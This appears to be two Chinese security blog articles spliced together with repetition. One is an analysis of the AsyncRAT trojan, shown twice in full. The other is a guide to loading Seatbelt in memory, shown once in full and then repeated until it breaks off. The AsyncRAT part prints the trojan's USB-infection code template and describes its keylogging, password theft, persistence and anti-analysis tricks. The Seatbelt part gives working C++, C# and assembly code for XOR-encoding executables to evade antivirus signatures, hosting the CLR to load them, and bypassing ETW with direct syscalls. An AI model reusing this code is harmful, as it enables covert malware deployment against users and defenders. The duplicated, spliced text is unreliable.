0x00 前言

AsyncRAT是一款使用C Sharp开发的C2工具,本文仅在技术研究的角度分析AsyncRAT的技术细节,介绍检测方法。

注:

本文选择的AsyncRAT更新日期为2020年5月9日

0x01 简介

· AsyncRAT的优点

· AsyncRAT的技术细节

· 检测方法

0x02 AsyncRAT的优点

AsyncRAT使用C Sharp开发,应用于Windows系统,具有以下优点:

1. 支持从Pastebin.com读取C2服务器的配置信息;

2. 支持内存加载PE文件;

3. 支持动态编译并执行C#或者VB代码;

4. 支持U盘感染,能够感染U盘中所有使用.NET开发的exe文件;

5. 支持自动读取Firefox和Chrome浏览器中保存的密码;

6. 通过欺骗用户点击的方式绕过UAC进行提权;

7. 通过C#接口技术,提高程序的扩展性,在程序实现上将每一个功能对应一个类,编译成dll文件,在需要加载的时候,由Server发送至Client,Client通过Activator.CreateInstance将类实例化,进而调用类的方法。

0x03 AsyncRAT的技术细节

本节按照AsyncRAT控制面板上的功能逐个进行分析,如下图:

下载.png

1.SendFile

(1)ToMemory

内存加载exe文件,支持以下两种类型:

· Reflection

· 使用Assembly.Load加载C#程序

更多细节可参考之前的文章《从内存加载.NET程序集(Assembly.Load)的利用分析》

· RunPE

· 通过替换进程内存的方式加载exe文件

可选择以下程序作为被注入的程序:

· aspnet_compiler.exe

· RegAsm.exe

· MSBuild.exe

· RegSvcs.exe

· vbc.exe

注:

· 以上5个exe文件位于Microsoft.NET Framework的安装目录,同AsyncClient.exe的位数保持一致

· 使用32位的AsyncClient.exe反弹回的Session,默认会寻找32位Microsoft.NET Framework的安装目录,例如:C:\Windows\Microsoft.NET\Framework\v4.0.30319

· 使用64位的AsyncClient.exe反弹回的Session,默认会寻找64位Microsoft.NET Framework的安装目录,例如:C:\Windows\Microsoft.NET\Framework64\v4.0.30319

· RunPE操作将启动以上5个exe文件中的一个,通过ReadProcessMemory、VirtualAllocEx、WriteProcessMemory和ResumeThread实现对进程内存的修改,替换成要加载的exe文件

· 这里需要注意要加载的exe文件需要同AsyncClient.exe的位数保持一致

· 使用32位的AsyncClient.exe反弹回的Session,使用RunPE操作只能加载32位的exe文件

· 使用64位的AsyncClient.exe反弹回的Session,使用RunPE操作只能加载64位的exe文件

更多细节可参考之前的文章《傀儡进程的实现与检测》

(2)ToDisk

将exe文件上传到目标主机的%Temp%目录,重命名为随机字符串,再使用Powershell启动exe文件,执行后不会删除%Temp%目录下的exe文件。

2. Monitoring

(1)Remote Desktop

· 监控屏幕,实时获得目标桌面的内容(只能监控,无法操作)

· 调用Graphics类的CopyFromScreen实现屏幕截图

通过Python实现监控屏幕的细节可参考之前的文章《Pupy利用分析——Windows平台下的屏幕控制》

(2)Keylogger

· 实时获得目标主机键盘输入的消息和进程名称

· 通过hook的方式实现键盘记录

(3)Password Recovery

· 获得Firefox和Chrome浏览器中保存的密码

技术细节可参考之前的文章《渗透技巧——导出Firefox浏览器中保存的密码》《渗透技巧——导出Chrome浏览器中保存的密码》

(4)File Manager

· 文件管理,还支持隐蔽安装7zip和对文件的压缩及解压缩

隐蔽安装7zip的方式:

· 在%Temp%目录新建文件夹7-Zip,释放文件7z.exe和7z.dll

(5)Process Manager

· 进程管理,支持查看进程和关闭进程

(6)Report Window

· 监控重要进程,当目标主机上运行指定进程时,控制端弹出提示消息

(7)Webcam

· 开启摄像头

3.Miscellaneous

(1)Bots Killer

清除自身进程在注册表HKLM和HKCU下\Software\Microsoft\Windows\CurrentVersion\Run和Software\Microsoft\Windows\CurrentVersion\RunOnce保存的项。

(2)USB Spread

1. 当目标主机连接U盘时,感染U盘中的文件。

2. 将木马客户端复制到U盘中并隐藏,默认保存的名称为LimeUSB.exe。

修改U盘中所有使用.NET开发的exe文件,通过CSharpCodeProvider改变程序运行流程,添加以下代码:

using System;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;

[assembly: AssemblyTrademark("%Lime%")]
[assembly: Guid("%Guid%")]

static class %LimeUSBModule%
{
    public static void Main()
    {
        try
        {
            System.Diagnostics.Process.Start(@"%File%");
        }
        catch { }
        try
        {
            System.Diagnostics.Process.Start(@"%Payload%");
        }
        catch { }
    }
}

用户在启动正常文件的同时会隐蔽执行U盘中的木马客户端。

(3)Seed Torrent

· 向目标主机发送种子文件并下载

· 目标主机需要安装uTorrent或者BitTorrent

(4)Remote Shell

· 弹出一个交互式的cmd窗口

(5)DOS Attack

· 向指定域名持续发送HTTP数据包

(6)Execute .NET Code

· 在目标主机上动态编译C#或者VB代码并执行

· 模板文件包含弹框和下载执行的功能

我提取出了其中编译C#代码并执行的功能,代码示例如下:

using System;
using System.CodeDom;
using System.CodeDom.Compiler;
using System.Reflection;
namespace CodeDomProviderTest
{
    class Program
    {
        static void Main(string[] args)
        {
            string source = @"
using System;
using System.Windows.Forms;
namespace AsyncRAT
{
    public class Program
    {
        public static void Main(string[] args)
        {
            try
            {
                MessageBox.Show(""Hello World"");
            }
            catch { }
        }
}
}";
            CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");  
            try
            {              
                var compilerOptions = "/target:winexe /platform:anycpu /optimize-";

                var compilerParameters = new CompilerParameters();
                compilerParameters.ReferencedAssemblies.Add("system.dll");
                compilerParameters.ReferencedAssemblies.Add("system.windows.forms.dll");
                compilerParameters.GenerateExecutable = true;
                compilerParameters.GenerateInMemory = true;
                compilerParameters.CompilerOptions = compilerOptions;
                compilerParameters.TreatWarningsAsErrors = false;
                compilerParameters.IncludeDebugInformation = false;

                var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source);
                if (compilerResults.Errors.Count > 0)
                {
                    foreach (CompilerError compilerError in compilerResults.Errors)
                    {
                        Console.WriteLine(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,
                            compilerError.Line, compilerError.Column, compilerError.FileName));
                        break;
                    }
                }
                else
                {
                    Assembly assembly = compilerResults.CompiledAssembly;
                    MethodInfo methodInfo = assembly.EntryPoint;
                    object injObj = assembly.CreateInstance(methodInfo.Name);
                    object[] parameters = new object[1];
                    if (methodInfo.GetParameters().Length == 0)
                    {
                        parameters = null;
                    }
                    methodInfo.Invoke(injObj, parameters);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
    }
}

(7)Files Searcher

· 搜索指定后缀名的文件并打包成zip文件

4.Extra

(1)Visit Website

· 启动默认浏览器并访问指定URL,界面不隐藏

(2)Send MessageBox

· 在目标主机上弹出对话框

(3)Chat

· 在目标主机上弹出对话框,实时显示输入的内容

(4)Get Admin Privileges

1. 使用cmd.exe以Admin权限重新启动木马客户端,这个操作会在用户桌面弹出UAC框,需要用户选择允许后才能运行;

2. 如果用户未选择允许,会一直弹出UAC对话框;

3. UAC对话框的程序位置会暴露木马客户端的路径;

4. 如果想要伪造一个更加可信的UAC对话框(不暴露程序位置)可以参考之前文章《A dirty way of tricking users to bypass UAC》中的思路。

(5)Blank Screen

Run功能:

通过WinAPI CreateDesktop()创建一个随机名称的虚拟桌面,内容为空,当切换到这个空的虚拟桌面时,用户无法对桌面进行操作。

Stop功能:

通过WinAPI SwitchDesktop()切换到原来的桌面。

(6)Disable Windows Defender

· 通过修改注册表的方式关闭Windows Defender,通常在Win10系统上使用

(7)Set Wallpaper

· 设置用户的桌面

5.Server

· Block Clients

· 拒绝指定IP回连的木马客户端

6.Builder

(1)Connection

DNS:指定C2 Server的IP,可以设置多个;

Port:指定C2 Server的端口,可以设置多个;

Pastebin:从Pastebin.com读取C2 Server的信息,包括DNS和Port。

内容示例:

127.0.0.1:6606:7707:8808

(2)Install

1. 用作配置木马客户端自启动的功能;

2. 开启这个功能后会将木马客户端复制到指定位置;

3. 文件名称可以重新命名;

4. 文件路径可选择%AppData%或%Temp%目录;

5. 当木马客户端以普通用户权限执行时,会在注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run添加项,以新的木马客户端名称作为注册表项的名称,以新的木马客户端路径作为注册表项的数据。

当木马客户端以管理员权限执行时,会使用schtasks命令创建计划任务,命令示例:

schtasks /create /f /sc onlogon /rl highest /tn  /tr

计划任务的名称为新的木马客户端名称,会在用户登录时执行计划任务。

(3)Misc

Group:对木马客户端进行分类;

Mutex:设置互斥量,避免木马客户端的重复启动;

Anti Analysis:

包括以下功能:

· DetectManufacturer,通过WMI获得系统信息(Select * from Win32_ComputerSystem),查看Manufacturer是否包含字符VIRTUAL、vmware或VirtualBox

· DetectDebugger,使用WinApi CheckRemoteDebuggerPresent()检查是否为调试器

· DetectSandboxie,使用WinApi GetModuleHandle()检查SbieDll.dll是否存在

· IsSmallDisk,检查硬盘大小是否小于60Gb

· IsXP,检查系统名称是否包含字符xp

Process Critica:

将进程设置为保护进程,如果意外关闭了保护进程,那么将导致BSOD。

更多细节可参考之前的文章《结束进程导致BSOD的利用分析》

Delay:延迟执行的时间

(4)Assembly

· 可以手动设置文件属性,也可以复制指定文件的文件属性

(5)Icon

· 设置文件图标

(6)Build

· Simple Obfuscator:通过重命名的方式实现简单的混淆

关键代码:

       private static ModuleDefMD RenamingObfuscation(ModuleDefMD inModule)
        {
            ModuleDefMD module = inModule;
            IRenaming rnm = new NamespacesRenaming();
            module = rnm.Rename(module);
            rnm = new ClassesRenaming();
            module = rnm.Rename(module);
            rnm = new MethodsRenaming();
            module = rnm.Rename(module);
            rnm = new PropertiesRenaming();
            module = rnm.Rename(module);
            rnm = new FieldsRenaming();
            module = rnm.Rename(module);
            return module;
        }
    }

0x04 检测方法

1.查找可疑文件

路径:%AppData%和%Temp%目录。

2.使用Autoruns检查可疑的启动项

(1)注册表位置

· HKLM\Software\Microsoft\Windows\CurrentVersion\Run

· HKCU\Software\Microsoft\Windows\CurrentVersion\Run

(2)计划任务列表

3.后台可疑进程

· AsyncRAT的木马客户端只有exe文件一种形式,在运行时会产生可疑的进程

4.通信流量

· 查看可疑进程对外通信流量

5.使用杀毒软件

· 目前杀毒软件均会对AsyncRAT进行拦截

0x05 小结

本文在技术研究的角度分析AsyncRAT的技术细节,介绍检测方法。

0x00 前言

AsyncRAT是一款使用C Sharp开发的C2工具,本文仅在技术研究的角度分析AsyncRAT的技术细节,介绍检测方法。

注:

本文选择的AsyncRAT更新日期为2020年5月9日

0x01 简介

· AsyncRAT的优点

· AsyncRAT的技术细节

· 检测方法

0x02 AsyncRAT的优点

AsyncRAT使用C Sharp开发,应用于Windows系统,具有以下优点:

1. 支持从Pastebin.com读取C2服务器的配置信息;

2. 支持内存加载PE文件;

3. 支持动态编译并执行C#或者VB代码;

4. 支持U盘感染,能够感染U盘中所有使用.NET开发的exe文件;

5. 支持自动读取Firefox和Chrome浏览器中保存的密码;

6. 通过欺骗用户点击的方式绕过UAC进行提权;

7. 通过C#接口技术,提高程序的扩展性,在程序实现上将每一个功能对应一个类,编译成dll文件,在需要加载的时候,由Server发送至Client,Client通过Activator.CreateInstance将类实例化,进而调用类的方法。

0x03 AsyncRAT的技术细节

本节按照AsyncRAT控制面板上的功能逐个进行分析,如下图:

下载.png

1.SendFile

(1)ToMemory

内存加载exe文件,支持以下两种类型:

· Reflection

· 使用Assembly.Load加载C#程序

更多细节可参考之前的文章《从内存加载.NET程序集(Assembly.Load)的利用分析》

· RunPE

· 通过替换进程内存的方式加载exe文件

可选择以下程序作为被注入的程序:

· aspnet_compiler.exe

· RegAsm.exe

· MSBuild.exe

· RegSvcs.exe

· vbc.exe

注:

· 以上5个exe文件位于Microsoft.NET Framework的安装目录,同AsyncClient.exe的位数保持一致

· 使用32位的AsyncClient.exe反弹回的Session,默认会寻找32位Microsoft.NET Framework的安装目录,例如:C:\Windows\Microsoft.NET\Framework\v4.0.30319

· 使用64位的AsyncClient.exe反弹回的Session,默认会寻找64位Microsoft.NET Framework的安装目录,例如:C:\Windows\Microsoft.NET\Framework64\v4.0.30319

· RunPE操作将启动以上5个exe文件中的一个,通过ReadProcessMemory、VirtualAllocEx、WriteProcessMemory和ResumeThread实现对进程内存的修改,替换成要加载的exe文件

· 这里需要注意要加载的exe文件需要同AsyncClient.exe的位数保持一致

· 使用32位的AsyncClient.exe反弹回的Session,使用RunPE操作只能加载32位的exe文件

· 使用64位的AsyncClient.exe反弹回的Session,使用RunPE操作只能加载64位的exe文件

更多细节可参考之前的文章《傀儡进程的实现与检测》

(2)ToDisk

将exe文件上传到目标主机的%Temp%目录,重命名为随机字符串,再使用Powershell启动exe文件,执行后不会删除%Temp%目录下的exe文件。

2. Monitoring

(1)Remote Desktop

· 监控屏幕,实时获得目标桌面的内容(只能监控,无法操作)

· 调用Graphics类的CopyFromScreen实现屏幕截图

通过Python实现监控屏幕的细节可参考之前的文章《Pupy利用分析——Windows平台下的屏幕控制》

(2)Keylogger

· 实时获得目标主机键盘输入的消息和进程名称

· 通过hook的方式实现键盘记录

(3)Password Recovery

· 获得Firefox和Chrome浏览器中保存的密码

技术细节可参考之前的文章《渗透技巧——导出Firefox浏览器中保存的密码》《渗透技巧——导出Chrome浏览器中保存的密码》

(4)File Manager

· 文件管理,还支持隐蔽安装7zip和对文件的压缩及解压缩

隐蔽安装7zip的方式:

· 在%Temp%目录新建文件夹7-Zip,释放文件7z.exe和7z.dll

(5)Process Manager

· 进程管理,支持查看进程和关闭进程

(6)Report Window

· 监控重要进程,当目标主机上运行指定进程时,控制端弹出提示消息

(7)Webcam

· 开启摄像头

3.Miscellaneous

(1)Bots Killer

清除自身进程在注册表HKLM和HKCU下\Software\Microsoft\Windows\CurrentVersion\Run和Software\Microsoft\Windows\CurrentVersion\RunOnce保存的项。

(2)USB Spread

1. 当目标主机连接U盘时,感染U盘中的文件。

2. 将木马客户端复制到U盘中并隐藏,默认保存的名称为LimeUSB.exe。

修改U盘中所有使用.NET开发的exe文件,通过CSharpCodeProvider改变程序运行流程,添加以下代码:

using System;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;

[assembly: AssemblyTrademark("%Lime%")]
[assembly: Guid("%Guid%")]

static class %LimeUSBModule%
{
    public static void Main()
    {
        try
        {
            System.Diagnostics.Process.Start(@"%File%");
        }
        catch { }
        try
        {
            System.Diagnostics.Process.Start(@"%Payload%");
        }
        catch { }
    }
}

用户在启动正常文件的同时会隐蔽执行U盘中的木马客户端。

(3)Seed Torrent

· 向目标主机发送种子文件并下载

· 目标主机需要安装uTorrent或者BitTorrent

(4)Remote Shell

· 弹出一个交互式的cmd窗口

(5)DOS Attack

· 向指定域名持续发送HTTP数据包

(6)Execute .NET Code

· 在目标主机上动态编译C#或者VB代码并执行

· 模板文件包含弹框和下载执行的功能

我提取出了其中编译C#代码并执行的功能,代码示例如下:

using System;
using System.CodeDom;
using System.CodeDom.Compiler;
using System.Reflection;
namespace CodeDomProviderTest
{
    class Program
    {
        static void Main(string[] args)
        {
            string source = @"
using System;
using System.Windows.Forms;
namespace AsyncRAT
{
    public class Program
    {
        public static void Main(string[] args)
        {
            try
            {
                MessageBox.Show(""Hello World"");
            }
            catch { }
        }
}
}";
            CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");  
            try
            {              
                var compilerOptions = "/target:winexe /platform:anycpu /optimize-";

                var compilerParameters = new CompilerParameters();
                compilerParameters.ReferencedAssemblies.Add("system.dll");
                compilerParameters.ReferencedAssemblies.Add("system.windows.forms.dll");
                compilerParameters.GenerateExecutable = true;
                compilerParameters.GenerateInMemory = true;
                compilerParameters.CompilerOptions = compilerOptions;
                compilerParameters.TreatWarningsAsErrors = false;
                compilerParameters.IncludeDebugInformation = false;

                var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source);
                if (compilerResults.Errors.Count > 0)
                {
                    foreach (CompilerError compilerError in compilerResults.Errors)
                    {
                        Console.WriteLine(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,
                            compilerError.Line, compilerError.Column, compilerError.FileName));
                        break;
                    }
                }
                else
                {
                    Assembly assembly = compilerResults.CompiledAssembly;
                    MethodInfo methodInfo = assembly.EntryPoint;
                    object injObj = assembly.CreateInstance(methodInfo.Name);
                    object[] parameters = new object[1];
                    if (methodInfo.GetParameters().Length == 0)
                    {
                        parameters = null;
                    }
                    methodInfo.Invoke(injObj, parameters);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
    }
}

(7)Files Searcher

· 搜索指定后缀名的文件并打包成zip文件

4.Extra

(1)Visit Website

· 启动默认浏览器并访问指定URL,界面不隐藏

(2)Send MessageBox

· 在目标主机上弹出对话框

(3)Chat

· 在目标主机上弹出对话框,实时显示输入的内容

(4)Get Admin Privileges

1. 使用cmd.exe以Admin权限重新启动木马客户端,这个操作会在用户桌面弹出UAC框,需要用户选择允许后才能运行;

2. 如果用户未选择允许,会一直弹出UAC对话框;

3. UAC对话框的程序位置会暴露木马客户端的路径;

4. 如果想要伪造一个更加可信的UAC对话框(不暴露程序位置)可以参考之前文章《A dirty way of tricking users to bypass UAC》中的思路。

(5)Blank Screen

Run功能:

通过WinAPI CreateDesktop()创建一个随机名称的虚拟桌面,内容为空,当切换到这个空的虚拟桌面时,用户无法对桌面进行操作。

Stop功能:

通过WinAPI SwitchDesktop()切换到原来的桌面。

(6)Disable Windows Defender

· 通过修改注册表的方式关闭Windows Defender,通常在Win10系统上使用

(7)Set Wallpaper

· 设置用户的桌面

5.Server

· Block Clients

· 拒绝指定IP回连的木马客户端

6.Builder

(1)Connection

DNS:指定C2 Server的IP,可以设置多个;

Port:指定C2 Server的端口,可以设置多个;

Pastebin:从Pastebin.com读取C2 Server的信息,包括DNS和Port。

内容示例:

127.0.0.1:6606:7707:8808

(2)Install

1. 用作配置木马客户端自启动的功能;

2. 开启这个功能后会将木马客户端复制到指定位置;

3. 文件名称可以重新命名;

4. 文件路径可选择%AppData%或%Temp%目录;

5. 当木马客户端以普通用户权限执行时,会在注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run添加项,以新的木马客户端名称作为注册表项的名称,以新的木马客户端路径作为注册表项的数据。

当木马客户端以管理员权限执行时,会使用schtasks命令创建计划任务,命令示例:

schtasks /create /f /sc onlogon /rl highest /tn  /tr

计划任务的名称为新的木马客户端名称,会在用户登录时执行计划任务。

(3)Misc

Group:对木马客户端进行分类;

Mutex:设置互斥量,避免木马客户端的重复启动;

Anti Analysis:

包括以下功能:

· DetectManufacturer,通过WMI获得系统信息(Select * from Win32_ComputerSystem),查看Manufacturer是否包含字符VIRTUAL、vmware或VirtualBox

· DetectDebugger,使用WinApi CheckRemoteDebuggerPresent()检查是否为调试器

· DetectSandboxie,使用WinApi GetModuleHandle()检查SbieDll.dll是否存在

· IsSmallDisk,检查硬盘大小是否小于60Gb

· IsXP,检查系统名称是否包含字符xp

Process Critica:

将进程设置为保护进程,如果意外关闭了保护进程,那么将导致BSOD。

更多细节可参考之前的文章《结束进程导致BSOD的利用分析》

Delay:延迟执行的时间

(4)Assembly

· 可以手动设置文件属性,也可以复制指定文件的文件属性

(5)Icon

· 设置文件图标

(6)Build

· Simple Obfuscator:通过重命名的方式实现简单的混淆

关键代码:

       private static ModuleDefMD RenamingObfuscation(ModuleDefMD inModule)
        {
            ModuleDefMD module = inModule;
            IRenaming rnm = new NamespacesRenaming();
            module = rnm.Rename(module);
            rnm = new ClassesRenaming();
            module = rnm.Rename(module);
            rnm = new MethodsRenaming();
            module = rnm.Rename(module);
            rnm = new PropertiesRenaming();
            module = rnm.Rename(module);
            rnm = new FieldsRenaming();
            module = rnm.Rename(module);
            return module;
        }
    }

0x04 检测方法

1.查找可疑文件

路径:%AppData%和%Temp%目录。

2.使用Autoruns检查可疑的启动项

(1)注册表位置

· HKLM\Software\Microsoft\Windows\CurrentVersion\Run

· HKCU\Software\Microsoft\Windows\CurrentVersion\Run

(2)计划任务列表

3.后台可疑进程

· AsyncRAT的木马客户端只有exe文件一种形式,在运行时会产生可疑的进程

4.通信流量

· 查看可疑进程对外通信流量

5.使用杀毒软件

· 目前杀毒软件均会对AsyncRAT进行拦截

0x05 小结

本文在技术研究的角度分析AsyncRAT的技术细节,介绍检测方法。

0x00 前言

Seatbelt是一个C#项目,可以用来对主机进行安全检查,在进攻和防御的角度都能发挥作用。

通过一条命令,就能够获得当前主机的多项配置信息,方便实用。

为了能够扩展Seatbelt的使用场景,在不修改Seatbelt任何代码的前提下,本文将要介绍两种通过内存加载Seatbelt的方法(Assembly.Load和execute-assembly),分别补全向.NET程序集的Main函数传入参数的实现代码。

之前的文章《从内存加载.NET程序集(Assembly.Load)的利用分析》《从内存加载.NET程序集(execute-assembly)的利用分析》 只介绍了向指定类的方法传入参数的实现代码。

0x01 简介

本文将要将介绍以下内容:

· Seatbelt的编译和使用

· 使用Assembly.Load加载Seatbelt并传入参数的方法

· 使用execute-assembly加载Seatbelt并传入参数的方法

· Visual Studio2015在64位平台下使用汇编代码的方法

0x02 Seatbelt的编译和使用

1.编译

工程地址:

https://github.com/GhostPack/Seatbelt

支持.NET 3.5和4.0

需要使用Visual Studio2017或者更高的版本进行编译。

2.使用

需要传入参数指定具体的命令,例如运行所有检查并返回所有输出:

Seatbelt.exe -group=all -full

详细的命令可参考项目的说明:

https://github.com/GhostPack/Seatbelt#command-line-usage

0x03 使用Assembly.Load加载Seatbelt并传入参数的方法

实现语言:C#

实现思路:

将Seatbelt.exe作base64编码后保存到数组中,再使用Assembly.Load()作base解码后进行加载,最后向Main函数传入参数。

实现代码:

1.将Seatbelt.exe作base64编码并返回结果

c#实现代码:

using System;
using System.Reflection;
namespace TestApplication
{
    public class Program
    {
        public static void Main()
        {

            byte[] buffer = System.IO.File.ReadAllBytes("Seatbelt.exe");
            string base64str = Convert.ToBase64String(buffer);
            Console.WriteLine(base64str);
        }
    }
}

可以使用Visual Studio或者直接使用csc.exe进行编译:

.Net 3.5下使用csc.exe编译的命令:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe base64.cs

.Net 4.0下使用csc.exe编译的命令:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe base64.cs

编译成功后生成base64.exe,执行后获得对Seatbelt.exe作base64编码后的字符串。

2.使用Assembly.Load()作base解码后进行加载,最后向Main函数传入参数

c#实现代码:

using System;
using System.Reflection;
namespace TestApplication
{
    public class Program
    {
        public static void Main(string[] args)
        {

            string base64str = "";

            byte[] buffer = Convert.FromBase64String(base64str);           
            object[] commands = args;
            Assembly assembly = Assembly.Load(buffer);   
            try
            {       
                assembly.EntryPoint.Invoke(null, new object[] { commands });
            }
            catch
            {
                MethodInfo method = assembly.EntryPoint;
                if (method != null)
                {
                    object o = assembly.CreateInstance(method.Name);                    
                    method.Invoke(o, null);
                }
            }
        }
    }
}

将Seatbelt.exe作base64编码后的字符串替换以上代码中的;同样,以上代码可以使用Visual Studio或者直接使用csc.exe进行编译。

0x04 使用execute-assembly加载Seatbelt并传入参数的方法

实现语言:C++

实现思路:

将Seatbelt.exe的内容保存在数组中,读取后使用Load_3(…)加载.NET程序集,最后向Main函数传入参数

为了去除Seatbelt.exe的特征码,可以将Seatbelt.exe中逐个字符作异或运算后再保存到数组中

这里使用HostingCLR作为代码开发的模板。

HostingCLR的代码未解决参数传递的问题,无法向.NET程序集的Main函数传入参数,代码位置:

https://github.com/etormadiv/HostingCLR/blob/master/HostingCLR/HostingCLR.cpp#L218

我的代码解决了参数传递的问题,并且通过将Seatbelt.exe中逐个字符作异或运算后再保存到数组中的方式去除Seatbelt.exe的特征码。

实现代码:

1.将exe文件中逐个字符作异或运算后再保存为新的文件

c++实现代码:

int main(int argc, char* argv[])
{
 if (argc != 3)
 {
  printf("File_XOR_generator\n");
  printf("Usage:\n");
  printf("%s  \n", argv[0]);
  printf("Eg:\n");
  printf("%s test.exe 0x01\n", argv[0]);

  return 0;
 }

 int x;
 sscanf_s(argv[2], "%x", &x);

 FILE* fp;
 int err = fopen_s(&fp, argv[1], "ab+");
 if (err != 0)
 {
  printf("\n[!]Open file error");
  return 0;
 }
 fseek(fp, 0, SEEK_END);
 int len = ftell(fp);
 unsigned char *buf = new unsigned char[len];
 fseek(fp, 0, SEEK_SET);
 fread(buf, len, 1, fp);
 fclose(fp);
 printf("[*] file name:%s\n", argv[1]);
 printf("[*] file size:%d\n", len);

 for (int i = 0; i < len; i++)
 {
  buf[i] = buf[i]^ x;
 }
 char strNew[256] = {0};
 snprintf(strNew, 256, "xor_%s", argv[1]);

 FILE* fp2;
 err = fopen_s(&fp2, strNew, "wb+");
 if (err != 0)
 {
  printf("\n[!]createfile error!");
  return 0;
 }
 fwrite(buf, len, 1, fp2);
 fclose(fp2); 
 printf("[*] XOR file name:%s\n", strNew);
 printf("[*] XOR file size:%d\n", len);
}

这里将Seatbelt.exe中逐个字符同0x01作异或运算,命令行参数如下:

File_XOR_generator.exe Seatbelt.exe 0x01

· 生成文件xor_Seatbelt.exe

· 使用hxd打开xor_Seatbelt.exe

将文件内容复制成C代码的格式,如下图:

image.png

2.使用Load_3(…)加载.NET程序集,最后向Main函数传入参数

完整代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/HostingCLR_with_arguments_XOR.cpp

在使用时需要修改代码以下位置:

· 替换数组rawData中的内容

· 定义mscorlibPath的路径

· 定义runtimeVersion的版本

代码会对数组rawData中的内容逐个字符同0x01作异或运算,还原出Seatbelt.exe的文件内容,再进行加载并向Main函数传入参数。

编译后生成文件HostingCLR_with_arguments_XOR.exe,测试命令实例:

HostingCLR_with_arguments_XOR.exe -group=all

使用Process Explorer查看进程HostingCLR_with_arguments_XOR.exe的.NET Assemblies项,如下图:

image.png

能够获得.NET程序集的名称

如果想要隐藏.NET程序集的名称,需要绕过ETW的检测。

3.绕过ETW的检测

这里参考代码https://github.com/outflanknl/TamperETW/

引入其中绕过EWT的代码,代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/HostingCLR_with_arguments_XOR_TamperETW.cpp

这里还需要添加asm文件Syscalls.asm,实现对汇编文件的调用。

新建项,选择C++文件,输入文件名Syscalls.asm,具体内容如下:

.code

; Reference: https://j00ru.vexillium.org/syscalls/nt/64/

; Windows 7 SP1 / Server 2008 R2 specific syscalls

ZwProtectVirtualMemory7SP1 proc
  mov r10, rcx
  mov eax, 4Dh
  syscall
  ret
ZwProtectVirtualMemory7SP1 endp

ZwWriteVirtualMemory7SP1 proc
  mov r10, rcx
  mov eax, 37h
  syscall
  ret
ZwWriteVirtualMemory7SP1 endp

ZwReadVirtualMemory7SP1 proc
  mov r10, rcx
  mov eax, 3Ch
  syscall
  ret
ZwReadVirtualMemory7SP1 endp

; Windows 8 / Server 2012 specific syscalls

ZwProtectVirtualMemory80 proc
  mov r10, rcx
  mov eax, 4Eh
  syscall
  ret
ZwProtectVirtualMemory80 endp

ZwWriteVirtualMemory80 proc
  mov r10, rcx
  mov eax, 38h
  syscall
  ret
ZwWriteVirtualMemory80 endp

ZwReadVirtualMemory80 proc
  mov r10, rcx
  mov eax, 3Dh
  syscall
  ret
ZwReadVirtualMemory80 endp

; Windows 8.1 / Server 2012 R2 specific syscalls

ZwProtectVirtualMemory81 proc
  mov r10, rcx
  mov eax, 4Fh
  syscall
  ret
ZwProtectVirtualMemory81 endp

ZwWriteVirtualMemory81 proc
  mov r10, rcx
  mov eax, 39h
  syscall
  ret
ZwWriteVirtualMemory81 endp

ZwReadVirtualMemory81 proc
  mov r10, rcx
  mov eax, 3Eh
  syscall
  ret
ZwReadVirtualMemory81 endp

; Windows 10 / Server 2016 specific syscalls
 
ZwProtectVirtualMemory10 proc
  mov r10, rcx
  mov eax, 50h
  syscall
  ret
ZwProtectVirtualMemory10 endp

ZwWriteVirtualMemory10 proc
  mov r10, rcx
  mov eax, 3Ah
  syscall
  ret
ZwWriteVirtualMemory10 endp

ZwReadVirtualMemory10 proc
  mov r10, rcx
  mov eax, 3Fh
  syscall
  ret
ZwReadVirtualMemory10 endp

end

注:

Syscalls.asm的代码来自于https://github.com/outflanknl/TamperETW/blob/master/TamperETW/UnmanagedCLR/Syscalls.asm

Visual Studio2015在64位平台下使用汇编代码还需要作以下设置:

(1)鼠标右键选中工程->生成依赖项(Build Dependencies)->生成自定义(Build Customizations),勾选masm

如下图:

image.png

(2)鼠标右键选中文件Syscalls.asm->属性,将项类型(Item Type)设置为Microsoft Macro Assembler

如下图:image.png

编译后生成文件HostingCLR_with_arguments_XOR_TamperETW.exe

测试命令实例:

HostingCLR_with_arguments_XOR_TamperETW.exe -group=all

使用Process Explorer查看进程HostingCLR_with_arguments_XOR_TamperETW.exe的.NET Assemblies项,如下图:image.png

成功隐藏.NET程序集的名称

0x05 小结

本文介绍了两种通过内存加载Seatbelt的方法(Assembly.Load和execute-assembly),分别补全向.NET程序集的Main函数传入参数的实现代码。解决HostingCLR的参数传递问题,引入TamperETW的代码实现了绕过ETW,介绍了Visual Studio2015在64位平台下使用汇编代码的方法。

0x00 前言

Seatbelt是一个C#项目,可以用来对主机进行安全检查,在进攻和防御的角度都能发挥作用。

通过一条命令,就能够获得当前主机的多项配置信息,方便实用。

为了能够扩展Seatbelt的使用场景,在不修改Seatbelt任何代码的前提下,本文将要介绍两种通过内存加载Seatbelt的方法(Assembly.Load和execute-assembly),分别补全向.NET程序集的Main函数传入参数的实现代码。

之前的文章《从内存加载.NET程序集(Assembly.Load)的利用分析》《从内存加载.NET程序集(execute-assembly)的利用分析》 只介绍了向指定类的方法传入参数的实现代码。

0x01 简介

本文将要将介绍以下内容:

· Seatbelt的编译和使用

· 使用Assembly.Load加载Seatbelt并传入参数的方法

· 使用execute-assembly加载Seatbelt并传入参数的方法

· Visual Studio2015在64位平台下使用汇编代码的方法

0x02 Seatbelt的编译和使用

1.编译

工程地址:

https://github.com/GhostPack/Seatbelt

支持.NET 3.5和4.0

需要使用Visual Studio2017或者更高的版本进行编译。

